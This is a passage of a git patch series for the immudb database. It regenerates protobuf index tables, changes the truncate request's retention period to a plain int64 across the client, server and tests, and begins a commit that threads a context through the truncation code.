immudb.schema.ImmuService.ZScan:input_type -> immudb.schema.ZScanRequest - 67, // 183: immudb.schema.ImmuService.CreateDatabase:input_type -> immudb.schema.Database - 68, // 184: immudb.schema.ImmuService.CreateDatabaseWith:input_type -> immudb.schema.DatabaseSettings - 69, // 185: immudb.schema.ImmuService.CreateDatabaseV2:input_type -> immudb.schema.CreateDatabaseRequest - 86, // 186: immudb.schema.ImmuService.LoadDatabase:input_type -> immudb.schema.LoadDatabaseRequest - 88, // 187: immudb.schema.ImmuService.UnloadDatabase:input_type -> immudb.schema.UnloadDatabaseRequest - 90, // 188: immudb.schema.ImmuService.DeleteDatabase:input_type -> immudb.schema.DeleteDatabaseRequest - 134, // 189: immudb.schema.ImmuService.DatabaseList:input_type -> google.protobuf.Empty - 103, // 190: immudb.schema.ImmuService.DatabaseListV2:input_type -> immudb.schema.DatabaseListRequestV2 - 67, // 191: immudb.schema.ImmuService.UseDatabase:input_type -> immudb.schema.Database - 68, // 192: immudb.schema.ImmuService.UpdateDatabase:input_type -> immudb.schema.DatabaseSettings - 71, // 193: immudb.schema.ImmuService.UpdateDatabaseV2:input_type -> immudb.schema.UpdateDatabaseRequest - 134, // 194: immudb.schema.ImmuService.GetDatabaseSettings:input_type -> google.protobuf.Empty - 73, // 195: immudb.schema.ImmuService.GetDatabaseSettingsV2:input_type -> immudb.schema.DatabaseSettingsRequest - 92, // 196: immudb.schema.ImmuService.FlushIndex:input_type -> immudb.schema.FlushIndexRequest - 134, // 197: immudb.schema.ImmuService.CompactIndex:input_type -> google.protobuf.Empty - 42, // 198: immudb.schema.ImmuService.streamGet:input_type -> immudb.schema.KeyRequest - 106, // 199: immudb.schema.ImmuService.streamSet:input_type -> immudb.schema.Chunk - 46, // 200: immudb.schema.ImmuService.streamVerifiableGet:input_type -> immudb.schema.VerifiableGetRequest - 106, // 201: immudb.schema.ImmuService.streamVerifiableSet:input_type -> immudb.schema.Chunk - 25, // 202: immudb.schema.ImmuService.streamScan:input_type -> immudb.schema.ScanRequest - 56, // 203: immudb.schema.ImmuService.streamZScan:input_type -> immudb.schema.ZScanRequest - 57, // 204: immudb.schema.ImmuService.streamHistory:input_type -> immudb.schema.HistoryRequest - 106, // 205: immudb.schema.ImmuService.streamExecAll:input_type -> immudb.schema.Chunk - 65, // 206: immudb.schema.ImmuService.exportTx:input_type -> immudb.schema.ExportTxRequest - 106, // 207: immudb.schema.ImmuService.replicateTx:input_type -> immudb.schema.Chunk - 108, // 208: immudb.schema.ImmuService.SQLExec:input_type -> immudb.schema.SQLExecRequest - 109, // 209: immudb.schema.ImmuService.SQLQuery:input_type -> immudb.schema.SQLQueryRequest - 134, // 210: immudb.schema.ImmuService.ListTables:input_type -> google.protobuf.Empty - 94, // 211: immudb.schema.ImmuService.DescribeTable:input_type -> immudb.schema.Table - 96, // 212: immudb.schema.ImmuService.VerifiableSQLGet:input_type -> immudb.schema.VerifiableSQLGetRequest - 122, // 213: immudb.schema.ImmuService.TruncateDatabase:input_type -> immudb.schema.TruncateDatabaseRequest - 6, // 214: immudb.schema.ImmuService.ListUsers:output_type -> immudb.schema.UserList - 134, // 215: immudb.schema.ImmuService.CreateUser:output_type -> google.protobuf.Empty - 134, // 216: immudb.schema.ImmuService.ChangePassword:output_type -> google.protobuf.Empty - 134, // 217: immudb.schema.ImmuService.ChangePermission:output_type -> google.protobuf.Empty - 134, // 218: immudb.schema.ImmuService.SetActiveUser:output_type -> google.protobuf.Empty - 134, // 219: immudb.schema.ImmuService.UpdateAuthConfig:output_type -> google.protobuf.Empty - 134, // 220: immudb.schema.ImmuService.UpdateMTLSConfig:output_type -> google.protobuf.Empty - 15, // 221: immudb.schema.ImmuService.OpenSession:output_type -> immudb.schema.OpenSessionResponse - 134, // 222: immudb.schema.ImmuService.CloseSession:output_type -> google.protobuf.Empty - 134, // 223: immudb.schema.ImmuService.KeepAlive:output_type -> google.protobuf.Empty - 118, // 224: immudb.schema.ImmuService.NewTx:output_type -> immudb.schema.NewTxResponse - 112, // 225: immudb.schema.ImmuService.Commit:output_type -> immudb.schema.CommittedSQLTx - 134, // 226: immudb.schema.ImmuService.Rollback:output_type -> google.protobuf.Empty - 134, // 227: immudb.schema.ImmuService.TxSQLExec:output_type -> google.protobuf.Empty - 113, // 228: immudb.schema.ImmuService.TxSQLQuery:output_type -> immudb.schema.SQLQueryResult - 11, // 229: immudb.schema.ImmuService.Login:output_type -> immudb.schema.LoginResponse - 134, // 230: immudb.schema.ImmuService.Logout:output_type -> google.protobuf.Empty - 29, // 231: immudb.schema.ImmuService.Set:output_type -> immudb.schema.TxHeader - 38, // 232: immudb.schema.ImmuService.VerifiableSet:output_type -> immudb.schema.VerifiableTx - 18, // 233: immudb.schema.ImmuService.Get:output_type -> immudb.schema.Entry - 39, // 234: immudb.schema.ImmuService.VerifiableGet:output_type -> immudb.schema.VerifiableEntry - 29, // 235: immudb.schema.ImmuService.Delete:output_type -> immudb.schema.TxHeader - 22, // 236: immudb.schema.ImmuService.GetAll:output_type -> immudb.schema.Entries - 29, // 237: immudb.schema.ImmuService.ExecAll:output_type -> immudb.schema.TxHeader - 22, // 238: immudb.schema.ImmuService.Scan:output_type -> immudb.schema.Entries - 27, // 239: immudb.schema.ImmuService.Count:output_type -> immudb.schema.EntryCount - 27, // 240: immudb.schema.ImmuService.CountAll:output_type -> immudb.schema.EntryCount - 34, // 241: immudb.schema.ImmuService.TxById:output_type -> immudb.schema.Tx - 38, // 242: immudb.schema.ImmuService.VerifiableTxById:output_type -> immudb.schema.VerifiableTx - 64, // 243: immudb.schema.ImmuService.TxScan:output_type -> immudb.schema.TxList - 22, // 244: immudb.schema.ImmuService.History:output_type -> immudb.schema.Entries - 48, // 245: immudb.schema.ImmuService.ServerInfo:output_type -> immudb.schema.ServerInfoResponse - 49, // 246: immudb.schema.ImmuService.Health:output_type -> immudb.schema.HealthResponse - 50, // 247: immudb.schema.ImmuService.DatabaseHealth:output_type -> immudb.schema.DatabaseHealthResponse - 51, // 248: immudb.schema.ImmuService.CurrentState:output_type -> immudb.schema.ImmutableState - 29, // 249: immudb.schema.ImmuService.SetReference:output_type -> immudb.schema.TxHeader - 38, // 250: immudb.schema.ImmuService.VerifiableSetReference:output_type -> immudb.schema.VerifiableTx - 29, // 251: immudb.schema.ImmuService.ZAdd:output_type -> immudb.schema.TxHeader - 38, // 252: immudb.schema.ImmuService.VerifiableZAdd:output_type -> immudb.schema.VerifiableTx - 24, // 253: immudb.schema.ImmuService.ZScan:output_type -> immudb.schema.ZEntries - 134, // 254: immudb.schema.ImmuService.CreateDatabase:output_type -> google.protobuf.Empty - 134, // 255: immudb.schema.ImmuService.CreateDatabaseWith:output_type -> google.protobuf.Empty - 70, // 256: immudb.schema.ImmuService.CreateDatabaseV2:output_type -> immudb.schema.CreateDatabaseResponse - 87, // 257: immudb.schema.ImmuService.LoadDatabase:output_type -> immudb.schema.LoadDatabaseResponse - 89, // 258: immudb.schema.ImmuService.UnloadDatabase:output_type -> immudb.schema.UnloadDatabaseResponse - 91, // 259: immudb.schema.ImmuService.DeleteDatabase:output_type -> immudb.schema.DeleteDatabaseResponse - 102, // 260: immudb.schema.ImmuService.DatabaseList:output_type -> immudb.schema.DatabaseListResponse - 104, // 261: immudb.schema.ImmuService.DatabaseListV2:output_type -> immudb.schema.DatabaseListResponseV2 - 99, // 262: immudb.schema.ImmuService.UseDatabase:output_type -> immudb.schema.UseDatabaseReply - 134, // 263: immudb.schema.ImmuService.UpdateDatabase:output_type -> google.protobuf.Empty - 72, // 264: immudb.schema.ImmuService.UpdateDatabaseV2:output_type -> immudb.schema.UpdateDatabaseResponse - 68, // 265: immudb.schema.ImmuService.GetDatabaseSettings:output_type -> immudb.schema.DatabaseSettings - 74, // 266: immudb.schema.ImmuService.GetDatabaseSettingsV2:output_type -> immudb.schema.DatabaseSettingsResponse - 93, // 267: immudb.schema.ImmuService.FlushIndex:output_type -> immudb.schema.FlushIndexResponse - 134, // 268: immudb.schema.ImmuService.CompactIndex:output_type -> google.protobuf.Empty - 106, // 269: immudb.schema.ImmuService.streamGet:output_type -> immudb.schema.Chunk - 29, // 270: immudb.schema.ImmuService.streamSet:output_type -> immudb.schema.TxHeader - 106, // 271: immudb.schema.ImmuService.streamVerifiableGet:output_type -> immudb.schema.Chunk - 38, // 272: immudb.schema.ImmuService.streamVerifiableSet:output_type -> immudb.schema.VerifiableTx - 106, // 273: immudb.schema.ImmuService.streamScan:output_type -> immudb.schema.Chunk - 106, // 274: immudb.schema.ImmuService.streamZScan:output_type -> immudb.schema.Chunk - 106, // 275: immudb.schema.ImmuService.streamHistory:output_type -> immudb.schema.Chunk - 29, // 276: immudb.schema.ImmuService.streamExecAll:output_type -> immudb.schema.TxHeader - 106, // 277: immudb.schema.ImmuService.exportTx:output_type -> immudb.schema.Chunk - 29, // 278: immudb.schema.ImmuService.replicateTx:output_type -> immudb.schema.TxHeader - 111, // 279: immudb.schema.ImmuService.SQLExec:output_type -> immudb.schema.SQLExecResult - 113, // 280: immudb.schema.ImmuService.SQLQuery:output_type -> immudb.schema.SQLQueryResult - 113, // 281: immudb.schema.ImmuService.ListTables:output_type -> immudb.schema.SQLQueryResult - 113, // 282: immudb.schema.ImmuService.DescribeTable:output_type -> immudb.schema.SQLQueryResult - 98, // 283: immudb.schema.ImmuService.VerifiableSQLGet:output_type -> immudb.schema.VerifiableSQLEntry - 123, // 284: immudb.schema.ImmuService.TruncateDatabase:output_type -> immudb.schema.TruncateDatabaseResponse - 214, // [214:285] is the sub-list for method output_type - 143, // [143:214] is the sub-list for method input_type - 143, // [143:143] is the sub-list for extension type_name - 143, // [143:143] is the sub-list for extension extendee - 0, // [0:143] is the sub-list for field type_name + 116, // 140: immudb.schema.CommittedSQLTx.LastInsertedPKsEntry.value:type_name -> immudb.schema.SQLValue + 116, // 141: immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry.value:type_name -> immudb.schema.SQLValue + 134, // 142: immudb.schema.ImmuService.ListUsers:input_type -> google.protobuf.Empty + 7, // 143: immudb.schema.ImmuService.CreateUser:input_type -> immudb.schema.CreateUserRequest + 9, // 144: immudb.schema.ImmuService.ChangePassword:input_type -> immudb.schema.ChangePasswordRequest + 100, // 145: immudb.schema.ImmuService.ChangePermission:input_type -> immudb.schema.ChangePermissionRequest + 101, // 146: immudb.schema.ImmuService.SetActiveUser:input_type -> immudb.schema.SetActiveUserRequest + 12, // 147: immudb.schema.ImmuService.UpdateAuthConfig:input_type -> immudb.schema.AuthConfig + 13, // 148: immudb.schema.ImmuService.UpdateMTLSConfig:input_type -> immudb.schema.MTLSConfig + 14, // 149: immudb.schema.ImmuService.OpenSession:input_type -> immudb.schema.OpenSessionRequest + 134, // 150: immudb.schema.ImmuService.CloseSession:input_type -> google.protobuf.Empty + 134, // 151: immudb.schema.ImmuService.KeepAlive:input_type -> google.protobuf.Empty + 117, // 152: immudb.schema.ImmuService.NewTx:input_type -> immudb.schema.NewTxRequest + 134, // 153: immudb.schema.ImmuService.Commit:input_type -> google.protobuf.Empty + 134, // 154: immudb.schema.ImmuService.Rollback:input_type -> google.protobuf.Empty + 108, // 155: immudb.schema.ImmuService.TxSQLExec:input_type -> immudb.schema.SQLExecRequest + 109, // 156: immudb.schema.ImmuService.TxSQLQuery:input_type -> immudb.schema.SQLQueryRequest + 10, // 157: immudb.schema.ImmuService.Login:input_type -> immudb.schema.LoginRequest + 134, // 158: immudb.schema.ImmuService.Logout:input_type -> google.protobuf.Empty + 41, // 159: immudb.schema.ImmuService.Set:input_type -> immudb.schema.SetRequest + 45, // 160: immudb.schema.ImmuService.VerifiableSet:input_type -> immudb.schema.VerifiableSetRequest + 42, // 161: immudb.schema.ImmuService.Get:input_type -> immudb.schema.KeyRequest + 46, // 162: immudb.schema.ImmuService.VerifiableGet:input_type -> immudb.schema.VerifiableGetRequest + 44, // 163: immudb.schema.ImmuService.Delete:input_type -> immudb.schema.DeleteKeysRequest + 43, // 164: immudb.schema.ImmuService.GetAll:input_type -> immudb.schema.KeyListRequest + 21, // 165: immudb.schema.ImmuService.ExecAll:input_type -> immudb.schema.ExecAllRequest + 25, // 166: immudb.schema.ImmuService.Scan:input_type -> immudb.schema.ScanRequest + 26, // 167: immudb.schema.ImmuService.Count:input_type -> immudb.schema.KeyPrefix + 134, // 168: immudb.schema.ImmuService.CountAll:input_type -> google.protobuf.Empty + 59, // 169: immudb.schema.ImmuService.TxById:input_type -> immudb.schema.TxRequest + 62, // 170: immudb.schema.ImmuService.VerifiableTxById:input_type -> immudb.schema.VerifiableTxRequest + 63, // 171: immudb.schema.ImmuService.TxScan:input_type -> immudb.schema.TxScanRequest + 57, // 172: immudb.schema.ImmuService.History:input_type -> immudb.schema.HistoryRequest + 47, // 173: immudb.schema.ImmuService.ServerInfo:input_type -> immudb.schema.ServerInfoRequest + 134, // 174: immudb.schema.ImmuService.Health:input_type -> google.protobuf.Empty + 134, // 175: immudb.schema.ImmuService.DatabaseHealth:input_type -> google.protobuf.Empty + 134, // 176: immudb.schema.ImmuService.CurrentState:input_type -> google.protobuf.Empty + 52, // 177: immudb.schema.ImmuService.SetReference:input_type -> immudb.schema.ReferenceRequest + 53, // 178: immudb.schema.ImmuService.VerifiableSetReference:input_type -> immudb.schema.VerifiableReferenceRequest + 54, // 179: immudb.schema.ImmuService.ZAdd:input_type -> immudb.schema.ZAddRequest + 58, // 180: immudb.schema.ImmuService.VerifiableZAdd:input_type -> immudb.schema.VerifiableZAddRequest + 56, // 181: immudb.schema.ImmuService.ZScan:input_type -> immudb.schema.ZScanRequest + 67, // 182: immudb.schema.ImmuService.CreateDatabase:input_type -> immudb.schema.Database + 68, // 183: immudb.schema.ImmuService.CreateDatabaseWith:input_type -> immudb.schema.DatabaseSettings + 69, // 184: immudb.schema.ImmuService.CreateDatabaseV2:input_type -> immudb.schema.CreateDatabaseRequest + 86, // 185: immudb.schema.ImmuService.LoadDatabase:input_type -> immudb.schema.LoadDatabaseRequest + 88, // 186: immudb.schema.ImmuService.UnloadDatabase:input_type -> immudb.schema.UnloadDatabaseRequest + 90, // 187: immudb.schema.ImmuService.DeleteDatabase:input_type -> immudb.schema.DeleteDatabaseRequest + 134, // 188: immudb.schema.ImmuService.DatabaseList:input_type -> google.protobuf.Empty + 103, // 189: immudb.schema.ImmuService.DatabaseListV2:input_type -> immudb.schema.DatabaseListRequestV2 + 67, // 190: immudb.schema.ImmuService.UseDatabase:input_type -> immudb.schema.Database + 68, // 191: immudb.schema.ImmuService.UpdateDatabase:input_type -> immudb.schema.DatabaseSettings + 71, // 192: immudb.schema.ImmuService.UpdateDatabaseV2:input_type -> immudb.schema.UpdateDatabaseRequest + 134, // 193: immudb.schema.ImmuService.GetDatabaseSettings:input_type -> google.protobuf.Empty + 73, // 194: immudb.schema.ImmuService.GetDatabaseSettingsV2:input_type -> immudb.schema.DatabaseSettingsRequest + 92, // 195: immudb.schema.ImmuService.FlushIndex:input_type -> immudb.schema.FlushIndexRequest + 134, // 196: immudb.schema.ImmuService.CompactIndex:input_type -> google.protobuf.Empty + 42, // 197: immudb.schema.ImmuService.streamGet:input_type -> immudb.schema.KeyRequest + 106, // 198: immudb.schema.ImmuService.streamSet:input_type -> immudb.schema.Chunk + 46, // 199: immudb.schema.ImmuService.streamVerifiableGet:input_type -> immudb.schema.VerifiableGetRequest + 106, // 200: immudb.schema.ImmuService.streamVerifiableSet:input_type -> immudb.schema.Chunk + 25, // 201: immudb.schema.ImmuService.streamScan:input_type -> immudb.schema.ScanRequest + 56, // 202: immudb.schema.ImmuService.streamZScan:input_type -> immudb.schema.ZScanRequest + 57, // 203: immudb.schema.ImmuService.streamHistory:input_type -> immudb.schema.HistoryRequest + 106, // 204: immudb.schema.ImmuService.streamExecAll:input_type -> immudb.schema.Chunk + 65, // 205: immudb.schema.ImmuService.exportTx:input_type -> immudb.schema.ExportTxRequest + 106, // 206: immudb.schema.ImmuService.replicateTx:input_type -> immudb.schema.Chunk + 108, // 207: immudb.schema.ImmuService.SQLExec:input_type -> immudb.schema.SQLExecRequest + 109, // 208: immudb.schema.ImmuService.SQLQuery:input_type -> immudb.schema.SQLQueryRequest + 134, // 209: immudb.schema.ImmuService.ListTables:input_type -> google.protobuf.Empty + 94, // 210: immudb.schema.ImmuService.DescribeTable:input_type -> immudb.schema.Table + 96, // 211: immudb.schema.ImmuService.VerifiableSQLGet:input_type -> immudb.schema.VerifiableSQLGetRequest + 122, // 212: immudb.schema.ImmuService.TruncateDatabase:input_type -> immudb.schema.TruncateDatabaseRequest + 6, // 213: immudb.schema.ImmuService.ListUsers:output_type -> immudb.schema.UserList + 134, // 214: immudb.schema.ImmuService.CreateUser:output_type -> google.protobuf.Empty + 134, // 215: immudb.schema.ImmuService.ChangePassword:output_type -> google.protobuf.Empty + 134, // 216: immudb.schema.ImmuService.ChangePermission:output_type -> google.protobuf.Empty + 134, // 217: immudb.schema.ImmuService.SetActiveUser:output_type -> google.protobuf.Empty + 134, // 218: immudb.schema.ImmuService.UpdateAuthConfig:output_type -> google.protobuf.Empty + 134, // 219: immudb.schema.ImmuService.UpdateMTLSConfig:output_type -> google.protobuf.Empty + 15, // 220: immudb.schema.ImmuService.OpenSession:output_type -> immudb.schema.OpenSessionResponse + 134, // 221: immudb.schema.ImmuService.CloseSession:output_type -> google.protobuf.Empty + 134, // 222: immudb.schema.ImmuService.KeepAlive:output_type -> google.protobuf.Empty + 118, // 223: immudb.schema.ImmuService.NewTx:output_type -> immudb.schema.NewTxResponse + 112, // 224: immudb.schema.ImmuService.Commit:output_type -> immudb.schema.CommittedSQLTx + 134, // 225: immudb.schema.ImmuService.Rollback:output_type -> google.protobuf.Empty + 134, // 226: immudb.schema.ImmuService.TxSQLExec:output_type -> google.protobuf.Empty + 113, // 227: immudb.schema.ImmuService.TxSQLQuery:output_type -> immudb.schema.SQLQueryResult + 11, // 228: immudb.schema.ImmuService.Login:output_type -> immudb.schema.LoginResponse + 134, // 229: immudb.schema.ImmuService.Logout:output_type -> google.protobuf.Empty + 29, // 230: immudb.schema.ImmuService.Set:output_type -> immudb.schema.TxHeader + 38, // 231: immudb.schema.ImmuService.VerifiableSet:output_type -> immudb.schema.VerifiableTx + 18, // 232: immudb.schema.ImmuService.Get:output_type -> immudb.schema.Entry + 39, // 233: immudb.schema.ImmuService.VerifiableGet:output_type -> immudb.schema.VerifiableEntry + 29, // 234: immudb.schema.ImmuService.Delete:output_type -> immudb.schema.TxHeader + 22, // 235: immudb.schema.ImmuService.GetAll:output_type -> immudb.schema.Entries + 29, // 236: immudb.schema.ImmuService.ExecAll:output_type -> immudb.schema.TxHeader + 22, // 237: immudb.schema.ImmuService.Scan:output_type -> immudb.schema.Entries + 27, // 238: immudb.schema.ImmuService.Count:output_type -> immudb.schema.EntryCount + 27, // 239: immudb.schema.ImmuService.CountAll:output_type -> immudb.schema.EntryCount + 34, // 240: immudb.schema.ImmuService.TxById:output_type -> immudb.schema.Tx + 38, // 241: immudb.schema.ImmuService.VerifiableTxById:output_type -> immudb.schema.VerifiableTx + 64, // 242: immudb.schema.ImmuService.TxScan:output_type -> immudb.schema.TxList + 22, // 243: immudb.schema.ImmuService.History:output_type -> immudb.schema.Entries + 48, // 244: immudb.schema.ImmuService.ServerInfo:output_type -> immudb.schema.ServerInfoResponse + 49, // 245: immudb.schema.ImmuService.Health:output_type -> immudb.schema.HealthResponse + 50, // 246: immudb.schema.ImmuService.DatabaseHealth:output_type -> immudb.schema.DatabaseHealthResponse + 51, // 247: immudb.schema.ImmuService.CurrentState:output_type -> immudb.schema.ImmutableState + 29, // 248: immudb.schema.ImmuService.SetReference:output_type -> immudb.schema.TxHeader + 38, // 249: immudb.schema.ImmuService.VerifiableSetReference:output_type -> immudb.schema.VerifiableTx + 29, // 250: immudb.schema.ImmuService.ZAdd:output_type -> immudb.schema.TxHeader + 38, // 251: immudb.schema.ImmuService.VerifiableZAdd:output_type -> immudb.schema.VerifiableTx + 24, // 252: immudb.schema.ImmuService.ZScan:output_type -> immudb.schema.ZEntries + 134, // 253: immudb.schema.ImmuService.CreateDatabase:output_type -> google.protobuf.Empty + 134, // 254: immudb.schema.ImmuService.CreateDatabaseWith:output_type -> google.protobuf.Empty + 70, // 255: immudb.schema.ImmuService.CreateDatabaseV2:output_type -> immudb.schema.CreateDatabaseResponse + 87, // 256: immudb.schema.ImmuService.LoadDatabase:output_type -> immudb.schema.LoadDatabaseResponse + 89, // 257: immudb.schema.ImmuService.UnloadDatabase:output_type -> immudb.schema.UnloadDatabaseResponse + 91, // 258: immudb.schema.ImmuService.DeleteDatabase:output_type -> immudb.schema.DeleteDatabaseResponse + 102, // 259: immudb.schema.ImmuService.DatabaseList:output_type -> immudb.schema.DatabaseListResponse + 104, // 260: immudb.schema.ImmuService.DatabaseListV2:output_type -> immudb.schema.DatabaseListResponseV2 + 99, // 261: immudb.schema.ImmuService.UseDatabase:output_type -> immudb.schema.UseDatabaseReply + 134, // 262: immudb.schema.ImmuService.UpdateDatabase:output_type -> google.protobuf.Empty + 72, // 263: immudb.schema.ImmuService.UpdateDatabaseV2:output_type -> immudb.schema.UpdateDatabaseResponse + 68, // 264: immudb.schema.ImmuService.GetDatabaseSettings:output_type -> immudb.schema.DatabaseSettings + 74, // 265: immudb.schema.ImmuService.GetDatabaseSettingsV2:output_type -> immudb.schema.DatabaseSettingsResponse + 93, // 266: immudb.schema.ImmuService.FlushIndex:output_type -> immudb.schema.FlushIndexResponse + 134, // 267: immudb.schema.ImmuService.CompactIndex:output_type -> google.protobuf.Empty + 106, // 268: immudb.schema.ImmuService.streamGet:output_type -> immudb.schema.Chunk + 29, // 269: immudb.schema.ImmuService.streamSet:output_type -> immudb.schema.TxHeader + 106, // 270: immudb.schema.ImmuService.streamVerifiableGet:output_type -> immudb.schema.Chunk + 38, // 271: immudb.schema.ImmuService.streamVerifiableSet:output_type -> immudb.schema.VerifiableTx + 106, // 272: immudb.schema.ImmuService.streamScan:output_type -> immudb.schema.Chunk + 106, // 273: immudb.schema.ImmuService.streamZScan:output_type -> immudb.schema.Chunk + 106, // 274: immudb.schema.ImmuService.streamHistory:output_type -> immudb.schema.Chunk + 29, // 275: immudb.schema.ImmuService.streamExecAll:output_type -> immudb.schema.TxHeader + 106, // 276: immudb.schema.ImmuService.exportTx:output_type -> immudb.schema.Chunk + 29, // 277: immudb.schema.ImmuService.replicateTx:output_type -> immudb.schema.TxHeader + 111, // 278: immudb.schema.ImmuService.SQLExec:output_type -> immudb.schema.SQLExecResult + 113, // 279: immudb.schema.ImmuService.SQLQuery:output_type -> immudb.schema.SQLQueryResult + 113, // 280: immudb.schema.ImmuService.ListTables:output_type -> immudb.schema.SQLQueryResult + 113, // 281: immudb.schema.ImmuService.DescribeTable:output_type -> immudb.schema.SQLQueryResult + 98, // 282: immudb.schema.ImmuService.VerifiableSQLGet:output_type -> immudb.schema.VerifiableSQLEntry + 123, // 283: immudb.schema.ImmuService.TruncateDatabase:output_type -> immudb.schema.TruncateDatabaseResponse + 213, // [213:284] is the sub-list for method output_type + 142, // [142:213] is the sub-list for method input_type + 142, // [142:142] is the sub-list for extension type_name + 142, // [142:142] is the sub-list for extension extendee + 0, // [0:142] is the sub-list for field type_name } func init() { file_schema_proto_init() } diff --git a/pkg/api/schema/schema.proto b/pkg/api/schema/schema.proto index df3920dd0e..cfd22979e5 100644 --- a/pkg/api/schema/schema.proto +++ b/pkg/api/schema/schema.proto @@ -1461,7 +1461,7 @@ message TruncateDatabaseRequest { string database = 1; // Retention Period of data - NullableMilliseconds retentionPeriod = 2; + int64 retentionPeriod = 2; } message TruncateDatabaseResponse { diff --git a/pkg/api/schema/schema.swagger.json b/pkg/api/schema/schema.swagger.json index a257d5a4d4..f3946e9ea6 100644 --- a/pkg/api/schema/schema.swagger.json +++ b/pkg/api/schema/schema.swagger.json @@ -3376,7 +3376,8 @@ "title": "Database name" }, "retentionPeriod": { - "$ref": "#/definitions/schemaNullableMilliseconds", + "type": "string", + "format": "int64", "title": "Retention Period of data" } } diff --git a/pkg/client/client.go b/pkg/client/client.go index b6103c8a0e..ba399e0da1 100644 --- a/pkg/client/client.go +++ b/pkg/client/client.go @@ -2334,7 +2334,7 @@ func (c *immuClient) TruncateDatabase(ctx context.Context, db string, retentionP in := &schema.TruncateDatabaseRequest{ Database: db, - RetentionPeriod: &schema.NullableMilliseconds{Value: retentionPeriod.Milliseconds()}, + RetentionPeriod: retentionPeriod.Milliseconds(), } _, err := c.ServiceClient.TruncateDatabase(ctx, in) diff --git a/pkg/server/server.go b/pkg/server/server.go index 0f0f8af127..ecf056f707 100644 --- a/pkg/server/server.go +++ b/pkg/server/server.go @@ -1662,10 +1662,7 @@ func (s *ImmuServer) TruncateDatabase(ctx context.Context, req *schema.TruncateD return nil, fmt.Errorf("the database '%s' does not exist or you do not have admin permission on this database", req.Database) } - if req.RetentionPeriod == nil { - return nil, fmt.Errorf("retention period can not be empty for database '%s'", req.Database) - } - if req.RetentionPeriod.Value < 0 || (req.RetentionPeriod.Value > 0 && req.RetentionPeriod.Value < (store.MinimumRetentionPeriod.Milliseconds())) { + if req.RetentionPeriod < 0 || (req.RetentionPeriod > 0 && req.RetentionPeriod < store.MinimumRetentionPeriod.Milliseconds()) { return nil, fmt.Errorf( "%w: invalid retention period for database '%s'. RetentionPeriod should at least '%v' hours", ErrIllegalArguments, req.Database, store.MinimumRetentionPeriod) @@ -1679,7 +1676,7 @@ func (s *ImmuServer) TruncateDatabase(ctx context.Context, req *schema.TruncateD return nil, err } - rp := time.Duration(req.RetentionPeriod.Value) * time.Millisecond + rp := time.Duration(req.RetentionPeriod) * time.Millisecond truncator := truncator.NewTruncator(db, rp, 0, s.Logger) err = truncator.Truncate(rp) if err != nil { diff --git a/pkg/server/server_test.go b/pkg/server/server_test.go index d03ea2ebb7..98f398fbf9 100644 --- a/pkg/server/server_test.go +++ b/pkg/server/server_test.go @@ -2071,7 +2071,7 @@ func TestServerDatabaseTruncate(t *testing.T) { t.Run("attempt to delete with retention period < 0 should fail", func(t *testing.T) { _, err = s.TruncateDatabase(ctx, &schema.TruncateDatabaseRequest{ Database: "db1", - RetentionPeriod: &schema.NullableMilliseconds{Value: -1}, + RetentionPeriod: -1, }) require.Error(t, err) }) @@ -2080,7 +2080,7 @@ func TestServerDatabaseTruncate(t *testing.T) { rp := 23 * time.Hour _, err = s.TruncateDatabase(ctx, &schema.TruncateDatabaseRequest{ Database: "db1", - RetentionPeriod: &schema.NullableMilliseconds{Value: rp.Milliseconds()}, + RetentionPeriod: rp.Milliseconds(), }) require.Error(t, err) }) @@ -2105,7 +2105,7 @@ func TestServerDatabaseTruncate(t *testing.T) { _, err = s.TruncateDatabase(ctx, &schema.TruncateDatabaseRequest{ Database: "db1", - RetentionPeriod: &schema.NullableMilliseconds{Value: rp.Milliseconds()}, + RetentionPeriod: rp.Milliseconds(), }) require.ErrorIs(t, err, database.ErrRetentionPeriodNotReached) }) From 4a116fbacb9631d488541750eea7346aa140fde3 Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Wed, 25 Jan 2023 18:07:39 +0530 Subject: [PATCH 0180/1062] chore(pkg/truncator): add context to Truncate method --- pkg/database/database_test.go | 2 +- pkg/database/truncator.go | 11 +++++------ pkg/database/truncator_test.go | 26 +++++++++++++------------- pkg/server/server.go | 2 +- pkg/truncator/truncator.go | 11 ++++++----- pkg/truncator/truncator_test.go | 13 +++++++------ 6 files changed, 33 insertions(+), 32 deletions(-) diff --git a/pkg/database/database_test.go b/pkg/database/database_test.go index 644ec9d47f..fcb66c2861 100644 --- a/pkg/database/database_test.go +++ b/pkg/database/database_test.go @@ -2194,7 +2194,7 @@ func Test_database_truncate(t *testing.T) { require.NoError(t, err) require.LessOrEqual(t, time.Unix(hdr.Ts, 0), queryTime) - err = c.Truncate(hdr.ID) + err = c.Truncate(context.TODO(), hdr.ID) require.NoError(t, err) for i := hdr.ID; i <= 20; i++ { diff --git a/pkg/database/truncator.go b/pkg/database/truncator.go index 78d58868a1..a69aa231b0 100644 --- a/pkg/database/truncator.go +++ b/pkg/database/truncator.go @@ -43,7 +43,7 @@ type Truncator interface { // Truncate runs truncation against the relevant appendable logs. Must // be called after result of Plan(). - Truncate(txID uint64) error + Truncate(context.Context, uint64) error } func NewVlogTruncator(d DB) Truncator { @@ -90,9 +90,8 @@ func (v *vlogTruncator) isRetentionPeriodReached(retentionPeriod time.Time, txTi } // commitCatalog commits the current sql catalogue as a new transaction. -func (v *vlogTruncator) commitCatalog(txID uint64) (*store.TxHeader, error) { +func (v *vlogTruncator) commitCatalog(ctx context.Context, txID uint64) (*store.TxHeader, error) { // copy sql catalogue - ctx := context.Background() tx, err := v.db.st.NewTx(ctx, store.DefaultTxOptions()) if err != nil { return nil, err @@ -109,18 +108,18 @@ func (v *vlogTruncator) commitCatalog(txID uint64) (*store.TxHeader, error) { tx.WithMetadata(store.NewTxMetadata().WithTruncatedTxID(txID)) // commit catalogue as a new transaction - return tx.Commit(context.Background()) + return tx.Commit(ctx) } // Truncate runs truncation against the relevant appendable logs upto the specified transaction offset. -func (v *vlogTruncator) Truncate(txID uint64) error { +func (v *vlogTruncator) Truncate(ctx context.Context, txID uint64) error { defer func(t time.Time) { v.metrics.ran.Inc() v.metrics.duration.Observe(time.Since(t).Seconds()) }(time.Now()) v.db.Logger.Infof("copying sql catalog before truncation for database '%s' at tx %d", v.db.name, txID) // copy sql catalogue - sqlCommitHdr, err := v.commitCatalog(txID) + sqlCommitHdr, err := v.commitCatalog(ctx, txID) if err != nil { v.db.Logger.Errorf("error during truncation for database '%s' {err = %v, id = %v, type=sql_catalogue_commit}", v.db.name, err, txID) return err diff --git 